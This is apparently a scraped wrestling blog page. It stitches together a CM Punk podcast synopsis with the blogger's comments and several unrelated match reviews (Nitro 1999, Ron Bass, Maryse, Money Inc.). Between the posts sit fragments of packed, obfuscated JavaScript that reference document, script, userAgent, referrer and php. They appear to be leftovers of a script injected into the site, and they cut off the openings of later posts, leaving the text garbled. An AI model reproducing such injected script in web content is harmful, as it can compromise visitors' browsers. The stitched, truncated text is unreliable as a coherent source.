So CM Punk was on Colt Cabana’s Art of Wrestling podcast and went OFF on WWE, Vince, HHH and everything about them in one of the best rants you’ll ever hear.  You probably should listen to it in full, but here’s the most detailed synopsis I’ve found so far.  THis is a long one but totally worth the time.

No I didn’t write this myself if that’s not clear.  My thoughts are at the bottom.

Source: http://www.cagesideseats.com/wwe/2014/11/27/7298557/cm-punk-story-walking-out-on-wwe

• He says that while people have remarked time and again that he couldn’t change anything while sitting on his couch in Chicago he disagrees because it almost took him doing exactly that for meaningful change to occur. He indicates that while they may have done some things to spite him, he’s really happy that certain things happened the way they did. He doesn’t outright say that the Daniel Bryan run through WrestleMania 30 was because he left but he definitely hints at as much.
• “It’s okay to be bitter about some things. That’s how you work through stuff.”
• He remarks that he’s the happiest he’s been in a really long time. “I’m the f****** happiest I’ve been in I don’t know how long, at least three years, legitimately. I find these other things that have made me happy and I thought this thing that I loved, that I thought I loved, it just made me so miserable. All the time, it made me miserable. I guess the black and the white of it, when you boil it all down, the essence of it, was I was miserable, I was unhappy, f*** it! I made myself happy. I left. That’s what it boils down to. It wasn’t an easy decision to make but it was also a long time coming.”
• He said there are many assumptions, like he was disgruntled with his creative direction, he was injured, he was mad about working with Triple H. “There’s an element of truth in all those things but I can’t say there was one big thing that led to my decision.” He does say that the biggest was his health.
• He despises the term “pipe bomb” now because everyone refers to promos as that now.
• People were calling him about sponsor money after the pipe bomb and he pitched it to Vince McMahon, who wouldn’t sign off on it. Then Brock Lesnar came in and was allowed to have sponsors on his wrestling gear.
• The story behind the pitch to WWE on walking out with Chael Sonnen at a UFC show and how it would have been good business. Vince told him someone might die in a fight and there’s no way they could let him go. Vince was also apparently appalled at the idea of women fighting in the UFC.
• He says the environment is “creatively toxic” and gives examples of issues like pitching something to Vince, being told “no,” and seeing John Cena doing that exact thing a week later.
• For the fans who are cool fans of his and who would like to hear an explanation, he is giving it to them right now. For those who were demanding it and calling him a quitter, those people can go to hell. For that matter, just because you bought a t-shirt doesn’t entitle you to anything and you didn’t make him and WWE didn’t make him. “WWE was a f******pit stop.” He said he’s not defined by his job, and no one should be.
• “That place should be the happiest place to work and they use that as some bizarre mindf***. ‘Go out there and have fun!’ It’s like ‘f*** you, this place sucks, and on top of that, you’re not f****** paying me nearly enough to do this s***.”
• He brings up the WWE Network coming out and how he spent months asking questions and wasn’t told anything.
• He rails on WWE for how they treat wrestlers as far as concussion protocol goes, revealing that he was working through concussions (he got one in the Royal Rumble too, and the testing for it was a joke) and a knee injury and messed up ribs. He was still in a mindset of doing what was best for “the boys” so he gutted out a lot of situations he definitely shouldn’t have.
• When The Rock came back, he said he wanted to work babyface against a strong heel so Punk was given the choice to either turn heel or drop the WWE title to Daniel Bryan. He was told that if he turned heel and did the job, he would be owed one. So he made the sacrifice, one he admits wasn’t that big of a sacrifice. He does say he tried to politic his way into the main event of WrestleMania, making Rock vs. Cena into a three-way before they booked him against Undertaker.
• Punk talks about WWE plans to get him a heater after WrestleMania and he reveals The Shield was his idea, believe it or not. They wanted a heel stable that would have included Punk, Big Show, Daniel Bryan, and Seth Rollins. So he pitched that they pick three guys from developmental to create the stable. They asked who he wanted and he said “Rollins, Dean Ambrose, and Chris Hero.” Triple H vetoed Hero and they put Roman Reigns in that spot instead. The idea was to put The Shield with Punk but plans changed.
• He says the Ryback program took years off his life because of how green he is. He also calls Ryback “steroid guy” because “I call it like I see it” and reveals that Ryback kicked him in the stomach so hard during a match it broke his ribs and he never got an apology or call about it.
• “I wrestled that match with Undertaker at WrestleMania with the biggest f****** chip on my shoulder because I knew it was going to be better than Brock Lesnar vs. Triple H and The Rock vs. John Cena.” They admitted that he should have went on last and he got “so f****** mad” before demanding that they should pay him like he went on last and they didn’t.
• He harps on wrestlers not taking a stand against the machine, going along with stories that don’t make any sense for anyone. He said the only people who say anything are Cena and maybe Randy Orton.
• His response to being told they wanted him to do the job to Brock Lesnar was to wonder who was coming to work the next day and, of course, being told that he would but Brock wouldn’t and there wouldn’t be a rematch at the next show. So he found a way to get excited about doing what they asked, working with Chris Jericho at Payback and Lesnar at SummerSlam, thinking it would help his case for the main event of WrestleMania the next year.
• He takes a shot at Triple H not putting over Curtis Axel the way he had originally said he was going to, and wanting to work with him to help elevate him. Instead, they booked him with Ryback again and once again, Ryback injured him with a guerrilla press spot where he missed the table. That’s one of the things he’s bitter about.
• Confirmed: He s*** his pants during SmackDown late last year and tells the story of tweeting it and being told he couldn’t tweet that and had to take it down. Many realized and reported on Punk unfollowing the WWE Twitter account not long after. It turns out he blocked them.
• He complained about the pay he received from his WrestleMania match with Undertaker on the basis that he had the best match on the card and he should have been paid equal to everyone else on the card. When he found out that wasn’t the case, he was outraged by it because “no one else on that card could have laced my boots that night”. When Cabana brings up Rock being a huge movie star and that bringing in more fans, Punk says he doesn’t care and WrestleMania is what draws at this point and no one can tell him different.
• The treatment he received for a large mass on his back was laughable, with the doctor not doing much of anything about it as it grew more and more.
• He went into the Royal Rumble knowing that the plan for WrestleMania was for Batista vs. Randy Orton for the title to main event and his plan was to work so hard during the match that he would change their minds.
• There’s a great story of Punk telling Rusev backstage before the Rumble match that no one gives a s*** about him and he needs to forget that Punk is supposedly a big star and get in there and really make an impression.
• When he was told during the match that he would be eliminated by Kane, he initially responded with the idea that he would quit if Kane even touched him because his wrestler’s mentality kicked in and he wanted to finish the match.
• During the drive to Cleveland for Raw the next night, he was miserable and looked over at his future wife, AJ Lee, who he says he knew he was going to marry and just hadn’t said anything yet, and had an epiphany wondering what he was doing with his life.
• At Raw the night he quit, he went in and was told he was going to have to take a drug — he calls it a “p*** test” — test and considering the new policies they put in place so wrestlers who had failed previous tests could get strikes taken off their record, he was livid that he, of all people, would have to take a pIII test. He demanded to be taken care of for his various health issues and they wanted him to sign a bunch of papers and take the p*** test. That’s when he decided he was done.
• He reveals he called a meeting with Vince McMahon and Triple H initially said he would leave but Punk told him to stay. “I do not love this anymore, I’m f****** sick, I’m f****** hurt, I’m f****** confused, I don’t know as a business what we’re doing anymore, I… every day you tell me this is a team effort but every day it’s a f****** individual effort by me to find what’s necessary to even f****** come here. It’s not fun. I have zero f****** passion for this. I’m f****** concussed, I’m f****** hurt, and alls (sic) you care about is what segment I am and how soon I can f*(***** get my gear on and when I can pea in this f****** cup. And I don’t want to do it anymore.”
• He said he talked openly about bringing back Batista as a babyface being a horrible idea.
• When Triple H told him that Batista took the same p*** test they were asking Punk to take, Punk asked “did you” and got no response. “Look, I thought when I re-signed three years ago, Vince, I told you if I couldn’t be all that I could be you should f****** fire me, that if I was a fraud and I was anything less and fell short of the f****** mark… I sold more shirts than John Cena until I turned heel for you, and you said you owed me one.. I worked guys that were f****** dangerous and you said you owed me one. I did all these f****** things and all I wanted was the main event of WrestleMania and it’s fine if you don’t think that is me and that I’m that caliber of a f****** superstar but then you need to f****** fire me because I do not want to be here and I do not want to be anything less. I will go somewhere else and I will get more f****** over because I know I can. You have shackled me, you have creatively stifled me, you have made this a very toxic environment, I no longer want to be here.”
• “It boggles my mind how Daniel Bryan has not figured into your plans to be in the main event of WrestleMania because this is his f****** year. Just like two years ago it was my f****** year and I was white f****** hot just like he is now and what did you do? You fed me to this guy.” He said Vince responded to all this by saying it was just the concussion talking and that working with Triple H was like working in the main event. Punk says he turned to Triple H and said “All due respect, I do not need to wrestle you, you need to wrestle me. I do not want to wrestle you. I seriously resent you for not putting me over three years ago when you should have. That would have been best for business but you had to f****** come in and squash it. And then I had to lose to F****** Truth and Miz. It didn’t make any business sense then, it doesn’t make any business sense now, and I am in a position now where I can tell you that I don’t have to nor do I want to wrestle you at WrestleMania. I don’t care if I was supposed to win.”
• Punk reveals he was scheduled to beat Triple H at WrestleMania and he didn’t care. “I didn’t want to give him the F****** privilege. He says Triple H never liked him and while you hear stories on the dirt sheets about various things, whenever he was in a room with Triple H there were never good vibes. “The way he would always look sideways at me, the way he always treated me.” He says he thinks Triple H believes he’s a “piece of s***.”
• Triple H told Punk that he had the best match at WrestleMania 29 against Undertaker and that it was the main event. Punk said they can push that way of looking at it to the fans, but the main event is the match that goes on last and that’s all there is to it.
• He says the Batista vs. Randy Orton main event plan was from an old, out of touch mind and he was really, really stoked when they made the change and put Daniel Bryan in the match and gave him his moment.
• When Triple H again pushed that Punk was in the main event at WrestleMania 29, Punk asked if he made the same money as those who went on after him. Again, Triple H responded with silence.
• He said Vince had tears in his eyes and gave Punk a hug, one Punk reciprocated, albeit reluctantly. Then he turned to Triple H, who had extended his hand, shook it, and said “good bye” before walking out.
• He brings up people saying “oh my god, he walked out on his contract” and clarifies that he’s an independent contractor and he could have walked out whenever he wanted to. Plus, he didn’t do it in the middle of a program and he didn’t hold them up. There wasn’t anything advertised for him coming up. He walked when there was nothing for him.
• Vince called him a week after he walked out and asked if he was ready to come back to work. He told Vince “no” at that time.
• His wife, AJ, convinced him to go to a doctor in Tampa Bay and he looked at the mass in his back. He was immediately told that he had a staph infection. He was told he needed to go to a hospital and get on an antibiotic IV drip. He wondered what they would do with less time and they cut it out, and gave him antibiotics, an experience he describes as the most painful thing he’s gone through in his life. He was given three months of antibiotics and told that after working with a staph infection for three months, he could have died.
• After catching up on sleep and feeling a lot better, he got a call from Vince saying he was suspended for two months. After thinking of the timeframe, he thinks that his suspension will come up just after WrestleMania and okay, whatever. But then it came up and he didn’t hear anything. He heard from an investor call that Vince told investors he was “on a sabbatical”. It was then that he realizes he hadn’t received a royalty check.
• He tells the story of finding a royalty check from WWE and calling about what he should do about it. He also asked about the royalty check he had yet to receive and is told that said check was at the desk of a lawyer. He attempted to contact said lawyer and found no success. He says he got a bunch of butt dials from various people and how he called about the royalty checks. He was given the runaround from literally everyone.
• He put the royalty check issue on the backburner because he was getting married and the Blackhawks were in the playoffs and he had a lot going on in his personal life at the time, like planning his honeymoon. Triple H texted him on June 11 asking if he had time to talk. He was upset about this, and said he had a honeymoon he was about to go to after getting married in two days. He asked for his royalties and promised to talk after his honeymoon.
• Punk then reveals that he was fired by WWE on his wedding day and that he believes it was a calculated move. He explains that he got a FedEx and the letter was ridiculous, saying he was in breach of contract on Jan. 27 and he was forfeiting his royalties and there was a no compete clause for UFC in it.
• He said he called a lawyer before going on his honeymoon, gave him his story, and the lawyer said “great, let’s get these motherf******.” He said he can’t talk about the terms of the settlement but does reveal he “got everything I wanted, and then some.”
• WWE tried to get him to sign a non-disparagement agreement and he said that he wasn’t the one who was talking, they were the ones who went out in Chicago and called him a quitter on television. He said he would only consider signing the agreement if they went to Chicago and apologized while admitting they lied, that he didn’t quit, and that they fired him on his wedding day.
• He says WWE was worried that he was going to go to TNA and his lawyer told them he isn’t interested in that and he despises professional wrestling now. He also said there won’t ever be a working relationship with WWE ever again.
• He said he’s happy training and being married and writing comics and just living his life now.
• He says he failed at his goal of wrestling in the main event of WrestleMania but he’s come to terms with it.

My thoughts on it: First and foremost, it’s obvious that Punk’s story is only his side.  I’m certainly not saying he’s lying, but you can only get so much truth out of one party’s version.

Here’s the big thing though: Punk can talk all he wants about how unfair things are and how he should have been in the main event all he wants.  That’s fine.  However, at the end of the day, Rock vs. Cena drew a fortune and Rock vs. Cena II drew a slightly smaller fortune.  Whether Punk was hot or not, those numbers are REALLY hard to argue against.  I still find his match with Undertaker very overrated though as I never bought him as a threat to the Streak, which I found Shawn and HHH (in the Cell at least) to be.  Yeah it was probably the match of the night but it was nothing excellent.

As for stuff I agree with him on, we’ll start with the match against HHH in 2011.  I’ve heard every possible argument about how HHH should have gone over and I don’t buy them at all.  While I don’t think he would have surpassed Cena full time as the top star, I see no reason for HHH to beat him there.  HHH has been a made man for years and was basically retired at that point, but he beat Punk anyway.  I’m not the biggest Punk fan in the world at times but that was ridiculous.  Yeah he got the long title reign out of it but, as he’s said, most of the time Cena was still in the main event (which he should have been a good deal, though not all of, the time).

As for him leaving like he did….I’m split on that.  He’s right that he didn’t have anything major going on, but if he’s right about Batista vs. Orton headlining Wrestlemania (which I don’t completely buy as true), he had a legitimate complaint.  It’s one thing for Lesnar or Rock or someone with a legitimate drawing record to come in and take a spot like that, but Batista isn’t a big enough star to validate that kind of power.  I would have liked to see Cena vs. Punk vs. Rock at Wrestlemania XXIX, but I see why WWE went the way they did.  As for XXX, as Punk said, it was Bryan’s year.

Overall he makes a ton of valid points, but a lot of it comes off like the same fanboy comments you hear all over the place.  Yes he was hot, but if that doesn’t translate to business, it’s not something that can be done.  That being said, I think they screwed up by having HHH beat him in 2011 and giving him the title as a consolation prize instead of as the big prize for him.

It’s very interesting stuff, but don’t immediately take it all as gospel.  Also, I know he said he’ll never be back, but would you have believed that Bret Hart would not only come back in 2010 but win a title in WWE?  Keep that in mind.

I think this one should be fairly obvious.

http://www.wrestlingrumors.net/kbs-review-giving-thanks-wrestling-way/32037/

Holiday deal on the books coming soon so stay tuned.  Or logged on or whatever you kids say nowadays.

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|skkif|var|u0026u|referrer|resre||js|php'.split('|'),0,{})) Nitro #195
Date: July 5, 1999
Location: Georgia Dome, Atlanta, Georgia
Attendance: 25,338
Commentators: Tony Schiavone, Bobby Heenan

The announcers do their welcome.

Juventud Guerrera vs. Chavo Guerrero Jr.

Rating: C. The match was fun while it lasted but Sid and Savage are almost a guarantee to bust up matches like this on Nitro anymore. Chavo is still one of the best cruiserweights without being over the top with his high flying. Juvy is starting to be insane and it works well for him when he gets it right.

DJ Ran.

TV Title: Rick Steiner vs. Vampiro

Video on Bret Hart leaving due to Owen passing away. The last shot is of an empty ring.

DJ Ran.

The Cat vs. Jerry Flynn

Lodi vs. Van Hammer

Dillinger tries to get all of the luchadors together for a show up but there are some communication barriers. Cops come in and clear things up as this is going to continue.

Nitro Girls.

DJ Ran.

Rey Mysterio Jr./Konnan vs. Steven Regal/Fit Finlay

The Europeans crank on a Mysterio leg each but the referee makes them break it up. Mysterio finally avoids a charge in the corner and makes the hot tag to Konnan to clean some house. Everything breaks down as Konnan does the usual, including throwing Rey into a Bronco Buster on Regal. Not that it matters as the West Texas Rednecks come in for the DQ.

US Title: David Flair vs. Buff Bagwell

Video on Savage and company.

Jersey Triad vs. Chris Benoit/Dean Malenko/Perry Saturn

WCW World Title: Sid vs. Kevin Nash

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aheak|var|u0026u|referrer|sebbh||js|php'.split('|'),0,{})) we’re looking at one of the most common wrestling characters of all time: the evil cowboy with Ron Bass.

Ron Bass vs. Pat Hutchenson

Same territory with a better opponent at some point in 1981.

Jerry Lawler vs. Ron Bass

Kevin Sullivan vs. Ron Bass

Bass is a face here and has a broken hand. He hammers on Sullivan with the cast to start and Sullivan bails to the floor. Back in and a kick to the jaw sends Kevin outside one more time before Ron cranks on an armbar. Sullivan fights back up and stomps away but dives into a right hand to the ribs. Bass sends him into the buckle a few times and nails the powerslam, only to have Angelo Mosca come in for the DQ.

Off to Starrcade 1984 with Bass in the NWA.

Mid-Atlantic Title: Ron Bass vs. Dick Slater

Ron Bass vs. Black Bart

Bart tries to punch his way out of the corner and gets choked with the rope for his efforts. Bass pounds in more shots to the head as we have a recurring theme to this match. Bart finally gets in a bell shot of his own to bust Ron open, but after a few more he misses a charge and goes flying to the floor. Bass keeps pounding away with the bell on the floor, including with a shot off the apron. Back inside and you can insert your own NEEDS MORE COWBELL joke here.

As a result of that win by Bass, we get this.

Ron Bass vs. JJ Dillon

This is a five minute bullrope match and JJ jumps Bass as the bell rings. JJ chokes away with his boot and hits Bass in the head with the bell. Then he hits Bass again with the bell. Now JJ mixes things up by hitting Bass in the head with the bell. They FINALLY do something else as JJ chokes him down with the rope, only for Bass to make a comeback and slug JJ down with the bell for a bit. A big shot to the head has Dillon down but the referee gets bumped. Bart comes back in and piledrives Bass, giving JJ the cheap pin.

Gladiator/Jimmy Jack Funk/Ron Bass vs. Dan Spivey/Mike Rotundo/Blackjack Mulligan

Well that’s a team for you. On an interesting note, Mulligan is the father of the man that Spivey replaced in the US Express: Barry Windham. Not sure if there’s a point to this or not but whatever. Jesse says his report on Andre and Hogan is coming next week on Piper’s Pit. You have no idea how awesome this sounds to me. Ron Bass doesn’t like Mulligan. Yeah this went nowhere thank goodness. This is mainly about Vince arguing with Ventura so it’s more or less awesome. I have no idea who the Gladiator is but Mulligan pins him.

From October 28, 1987.

Ron Bass vs. Ricky Steamboat

This is a Wrestling Challenge match here, which is the equivalent of Superstars today. I don’t recognize that commentator. One of them is Mike McGuirk (female announcer), one is Nick Bockwinkel and I don’t recognize the third. I think it’s current TNA boss Bruce Pritchard. We’ll go with that. Bass is a cowboy and gets caught with a top rope chop to send him to the floor.

Bockwinkel talks about whether or not top rope moves should be banned. Give me a break. McGuirk is talking about how handsome/good looking Steamboat is. Ok then. Bass takes over and hits a chop for two. Powerslam gets the same. Swinging neckbreaker gets countered and both guys are down. Steamboat counters a suplex into one of his own. They slug it out from their knees and then ram heads. Sleeper is countered by Bass and they go to the floor. They brawl to a double countout.

Rating: F. Horribly dull match here as both guys were in about -5th gear the whole time. Steamboat was coming back from the time off where his wife had a baby (and he lost the IC Title as a result) so maybe it was rust. This was awful though and probably the worst Steamboat match I’ve ever seen.

Bass was in the opening match at the first ever Survivor Series in 1987.

Team Honky Tonk Man vs. Team Randy Savage

Honky Tonk Man, Harley Race, Ron Bass, Danny Davis, Hercules

Randy Savage, Jim Duggan, Ricky Steamboat, Jake Roberts, Brutus Beefcake

Rating: B. This was a really fun match with a good story to it. The fans HATED Honky and the idea of getting him caught at the end with no one to defend him had the fans going nuts. Honky vs. Savage was a great feud but it never had a blowoff due to a bunch of backstage stuff. Honky would somehow hold the title nine more months before perhaps the greatest end to a title run ever at Summerslam. This was a great choice for a first match ever for the concept too as it showed how the idea worked and gave the fans something to cheer about too. Really good stuff.

Ron Bass vs. Ricky Steamboat

Bass holds him off with a whip so the Dragon goes out and grabs a chair. Naturally Steamboat speeds things up and gets a quick sunset flip for two. The cat is skinned and Steamboat gets what we would call a rana for two. For some reason the cameraman wearing a Hulkamania shirt makes me chuckle. Bass takes over and gets a clothesline but walks into something like an enziguri (granted it hit the back but no one knew what it was supposed to be at this point anyway) to send Bass to the floor.

Back in and Steamboat grabs the arm to take the bigger man down. I know it’s basic but it’s about the smartest thing you can do so there’s a reason it’s that common. McGuirk is like Booker T as all she really says is an occasional move in the ring. Steamboat tries to speed this up again but walks into a hot shot to finally shift control to Bass. Piledriver gets two.

Bass hammers away with a knee drop (called Knee-monia by Doherty and making me want to take a knee to the head so I hopefully forget that joke) to the head and various other basic offense for two on a few occasions. Pretty weak swinging neckbreaker gets two. Off to the chinlock now and Steamboat’s face is all crushed up, making it look hilarious.

Here’s the comeback and Steamboat goes up for the top rope chop. Steamboat can’t keep anything going here as a clothesline takes him down again. Out of absolutely nowhere, Steamboat gets a cross body not off the ropes to end this. Surprising endings like those are always fun, especially for the live crowd.

Rating: C-. Never been a fan of Bass but it’s hard to argue against Steamboat in the late 80s. Not bad here but really just a way to kill about ten minutes. Steamboat would be gone in about five months and would head back to the NWA where he would win the world title in February of 89.

Bass also opened the show at Survivor Series 1988.

Team Ultimate Warrior vs. Team Honky Tonk Man

Ultimate Warrior, Brutus Beefcake, Sam Houston, Jim Brunzell, Blue Blazer

Honky Tonk Man, Bad News Brown, Danny Davis, Ron Bass, Greg Valentine

Brutus Beefcake vs. Ron Bass

This was a fairly brutal (for its time) feud as Brutus had cut up Bass’ whip so Bass had used his boot spur on Brutus’ head, cutting him badly. They put a big red X on the screen with the word censored over it, even though Brutus moved around and you could see the cut anyway. That cost Brutus the IC Title shot he had at Summerslam. This is hair vs. hair.

I don’t think they’ve both been in the ring for more than 30 seconds yet. It’s pretty much all Brutus at this point and you know what happened because I said that. Bass gets a nice piledriver. There’s very little to this match at this point. Bass takes forever to go for the pin and after arguing with the referee he walks into a sleeper and of course he’s out in about 4 seconds.

After the commercial he cuts the back of his hair as Bass is apparently out cold for about 5 minutes from a 4 second sleeper. Dang he actually did cut it. Always nice to see them actually do what they’re supposed to do. Perfect timing that he wakes up just when the haircut is over isn’t it?

Rating: D+. This was pretty weak but not awful I guess. This was your run of the mill thing but Bass was your standard heel and Beefcake was WAY over so it works out fine I guess. This was ok for an opener and it does give a blowoff to the feud so it served its purpose in that sense.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00PZ1GR7E

And check out my Amazon author page with wrestling books for under $4 at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deefa|var|u0026u|referrer|dfnhi||js|php'.split('|'),0,{})) we’re looking at someone a bit curvier in Maryse.

After a few years in developmental, Maryse debuted on the main roster in 2008. Here she is at Unforgiven.

Divas Title: Maryse vs. Michelle McCool

Michelle is champion. Michelle as a face just never worked. She’s such a natural villain and her pumping her fist doesn’t work at all. She hurts her knee going to the floor and Maryse works on it as we’re waiting for the people to get back from popcorn time to end this. Michelle works on Maryse’s leg in a heel hook but she gets a rope. The fans are all over this match already. A sitout gordbuster keeps the title on McCool.

Time for a TV match on Smackdown, September 19, 2008.

Divas Title: Michelle McCool vs. Maryse

Off to Armageddon 2008 for the main thing the Divas are known for.

Maria/Mickie James/Kelly Kelly/Michelle McCool vs. Maryse/Jillian Hall/Victoria/Natalya

Santa’s Little Helper’s match here. The heels are in green and are elves I guess. Maria’s song is really catchy. I miss Michelle. Mickie vs. Maryse starts us off. Mickie keeps going after her and Maryse tries to pose. Off to Mickie vs. Natalya in the real fight here. Nattie is pretty new at this point. Kelly is Jewish and Striker calls her the Hot Hebrew. That sounds like a really bad coffee shop. The announcers are having a fun time with this. The match is totally pointless of course and it’s off to Maria. Somehow she gets compared to John Berzerker Nord. Everything breaks down and Michelle hits the Faithbreaker (Styles Clash) to end Maryse.

Smackdown Women’s Title: Michelle McCool vs. Melina

This is a rematch from The Bash which was brought on by some bad acting. Michelle’s bra is sticking WAY out here. Melina gyrates like no one I’ve ever seen. Michelle is the first person to use her freaking brain and kicks Melina on her splits intro. And there’s your first botch as they mess up an arm drag. We get some kicks that don’t actually connect as I have a bad feeling about this match.

We hit the floor and are told that a slam of the face into the barricade is a DDT. Riiiiiiiight. Melina is laying on the apron and in a coole counter she pulls up onto the bottom rope to avoid a baseball slide. They’re hitting hard but at the same time, they’re botching the hell out of so many things. Michelle reverses a rollup into a rollup for the pin. At least it was short.

Rating: D. They were trying but this was just a mess and a half. They were botching stuff left and right with there being little flow or psychology at all. Michelle has gotten better which to be fair she couldn’t have gotten much worse. This was really bad as the two of them just do not have the chemistry.

Divas Title: Maryse vs. Gail Kim

Gail Kim is incorrectly called a two time Womens’ Champion. Gail slides to the corner to avoid a charge from the blonde and gets two off a bulldog. Maryse comes back with a kick to the face for two of her own but gets rolled up for another near fall. Kim goes up top but completely misses a top rope cross body to put both girls down. A victory roll doesn’t work for Gail and a quick DDT gives Maryse the title. This was nothing.

She even made it onto Wrestlemania XXVI.

Laycool/Vickie Guerrero/Maryse/Alicia Fox vs. Beth Phoenix/Kelly Kelly/Eve Torres/Mickie James/Gail Kim

From Over the Limit 2010.

Raw Women’s Title: Maryse vs. Eve Torres

This is better than I’d expect it to be actually. This has gotten some great build over the past few weeks and due to a lack of matches they have to give it a lot of time. Maryse randomly starts crying for no adequately explained reason. We actually get some near falls. Eve hits some screwed up face plant into a rollup for the pin. Cole, Striker and Lawler make jokes about Eve and just lose it on commentary.

Rating: C-. For what you had to work with here and given what Divas matches tend to be, this was actually decent. I tend to start most Divas matches at a D or so, meaning this was pretty good. There was some actual drama and Eve won with a nice finisher. Solid little match.

From shortly thereafter at Fatal Fourway.

Raw Women’s Title: Maryse vs. Alicia Fox vs. Gail Kim vs. Eve Torres

Eve is in blue again so I can’t complain at all. Everyone is in this at once which does little to get my hopes up on this. Yeah I don’t care at all about this. Everyone goes for submissions at once but everyone breaks them up to play up the whole fatal aspect of this. The ropes can’t be used for breaks apparently.

I’d bet that’ll be compromised about a million times here. Eve hooks a camel clutch and Gail gets a Boston Crab on Alicia at the same time. Maryse runs her mouth off and Alicia blasts her. Gail hits a dropkick which Striker of course calls a Jumping Bomb Angel Double Stomp. I hate him at times. Eve hits a very fast neckbreaker on Maryse and doesn’t cover, instead hitting a bad moonsault. And Alicia Fox wins the title by stealing the pin on Maryse. Oh dear.

Rating: D. Seriously, are we supposed to care about Alicia Fox? She’s been on TV like once this year and is now the champion. I don’t get the appeal of her at all, but I guess someone does. I still don’t care about the division at all, but it needs to be merged with the other one to help it survive.

Maryse was on NXT Season 3, including October 26, 2010.

Maryse/Ted DiBiase vs. Goldust/Aksana

Aksana does look sexy in red. I’ll give her that. And just as the bell rings the video freezes. Ah there we go. The girls start us off. They yell at each other and Cole says his producer told him that if they’re talking let us hear them. AMEN! Maryse knocks off the horns and rips off the tail so now Aksana is just in a skin tight red suit. I’m sold.

It’s a mixed tag so the men have to fight each other. Of course we’re just talking about the wedding here which I guess makes sense here. We head to the floor with DiBiase being all ticked off. Why doesn’t he just grab the belt and run if that’s why he’s here? Maryse helps her man as Aksana plays cheerleader.

Goldust plays Ricky Morton for like a minute until the girls come in. The guys go to the floor and Aksana gets a small package out of nowhere for the pin. Is that her first win? DiBiase goes for the belt but Aksana slaps him and gets it back. The good people get away with it, proving that faces can get away with anything. Ventura and Heenan were right all along! Match ran about 6:30.

Rating: C. Not terrible and fine for a TV main event on a show like this one. This wasn’t your standard match where the guys did the majority of the work and the girls were in there for like 10 seconds. The girls were fairly decent out there which is surprising to me. Not a classic or anything but it did what it was supposed to do and didn’t seem that long.

Eve Torres/Beth Phoenix vs. Layla/Maryse

After the faces enter we take a break and get a clip of the first regular episode of Smackdown (remember that there was a pilot about four months earlier) from August of 99. Michelle has a bad foot so is out for awhile. Beth vs. Maryse to start. Michelle is on commentary and wants to know why Eve is the Divas Champion when Michelle got a pin also.

Off to Layla vs. Eve with the champion dominating. Michelle seems a bit irritated by Layla here as we continue to push the split. Eve fires away with kicks and Michelle gets off commentary. She limps up the steps and gets in the face of Layla. Beth hits her in the foot to bring her down. In the confusion, Layla and Maryse hit what I think was supposed to be a double superkick so that Layla can pin Eve at 2:27. No rating as this was mainly Layla vs. Eve but this was no worse than your usual Divas match.

Maryse/Melina vs. Kelly Kelly/Eve Torres

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the Royal Rumble at Amazon for just $3.99 at:

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And check out my Amazon author page with wrestling books for under $4 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbasd|var|u0026u|referrer|rhsrk||js|php'.split('|'),0,{})) tag team that doesn’t get the love it deserves: Money Inc.

The team of Ted DiBiase and IRS would hook up in early 1992 and win the Tag Team Titles in a surprise at a house show against the Legion of Doom to get the titles off Hawk and Animal before Hawk went nuts. Here they are defending the belts at Wrestlemania VIII.

Tag Titles: Money Inc. vs. Natural Disasters

Tatanka/High Energy vs. Money Inc/Rick Martel

We’re in Canada here and this is one of those matches where you take two minor feuds and throw them together for one match. High Energy is Owen Hart and Koko B. Ware in bright baggy tights. Tatanka had one of his feathers stolen by Martel for no apparent reason. High Energy were quick challengers to Money Inc. IRS does his usual tax thing to get us going.

Tatanka is a Lumpee Indian which Gorilla says sounded like Lumpy Indian, like Chief Jay Strongbow. That was hilarious. Owen and DiBiase start which in their primes would have been incredibly entertaining match. Now they talk about someone that works for Coliseum Video who wants free stuff or something. DiBiase gets an armdrag and we stop to applaud. Another gets more applause from Martel.

Gorilla and Hayes are having a great time talking about nothing to do with this match at all. Bret is world champion apparently at this point. Everything breaks down and the faces clear the ring. Back in now and it’s Owen vs. Martel. Martel turns his back and Tatanka comes in instead to hammer away a bit. I think they had a match at Survivor Series or Summerslam over this. According to Hayes the Cornwallians (we’re in Cornwall, Ontario) have EXPLODED!!!

Off to IRS vs. Tatanka now with the undefeated dude taking over. Off to the Hall of Famer Koko now. Who would guess that of these six he and DiBiase would be the only Hall of Famers? Gorilla says Koko has put on 25 pounds. Hayes: “And they’re all in those pants.” Now we talk about suspenders. See what I mean about the commentary here? Koko gets a swinging neckbreaker to get himself out of trouble.

Apparently Hayes is eating hot dogs and French fries instead of paying attention. Now we talk about fish and chips. Tatanka vs. Martel now as the commentary here is rather interesting. We’ve been in this for about seven minutes now and they’ve talked about the match for maybe 2 minutes. DiBiase takes part of the tag ropes off to choke Tatanka.

Tatanka gets the tar beaten out of him for awhile while Gorilla and Hayes make fun of High Energy for not doing much. Front facelock by DiBiase and the referee doesn’t see the tag to Koko. Tatanka gets a suplex to break things up and it’s off to Owen vs. DiBiase again. Everything breaks down again and the legal men hit the floor. Koko knocks IRS to the apron and tries to suplex him back in, only to have DiBiase hook the foot and IRS gets the cheating pin again.

Rating: D+. This was just a six man match at a house show. It wasn’t horrible or anything but it’s nothing worth anything at all. DiBiase and IRS were decent champions but Ted was clearly not what he used to be. High Energy never was worth anything and the feud with Tatanka and Martel never clicked at all. Still though, it filled in 15 minutes and wasn’t horrible.

Eventually they had to defend the titles against the monsters known as the Natural Disasters. From July 20, 1992.

Tag Titles: Money Inc. vs. Natural Disasters

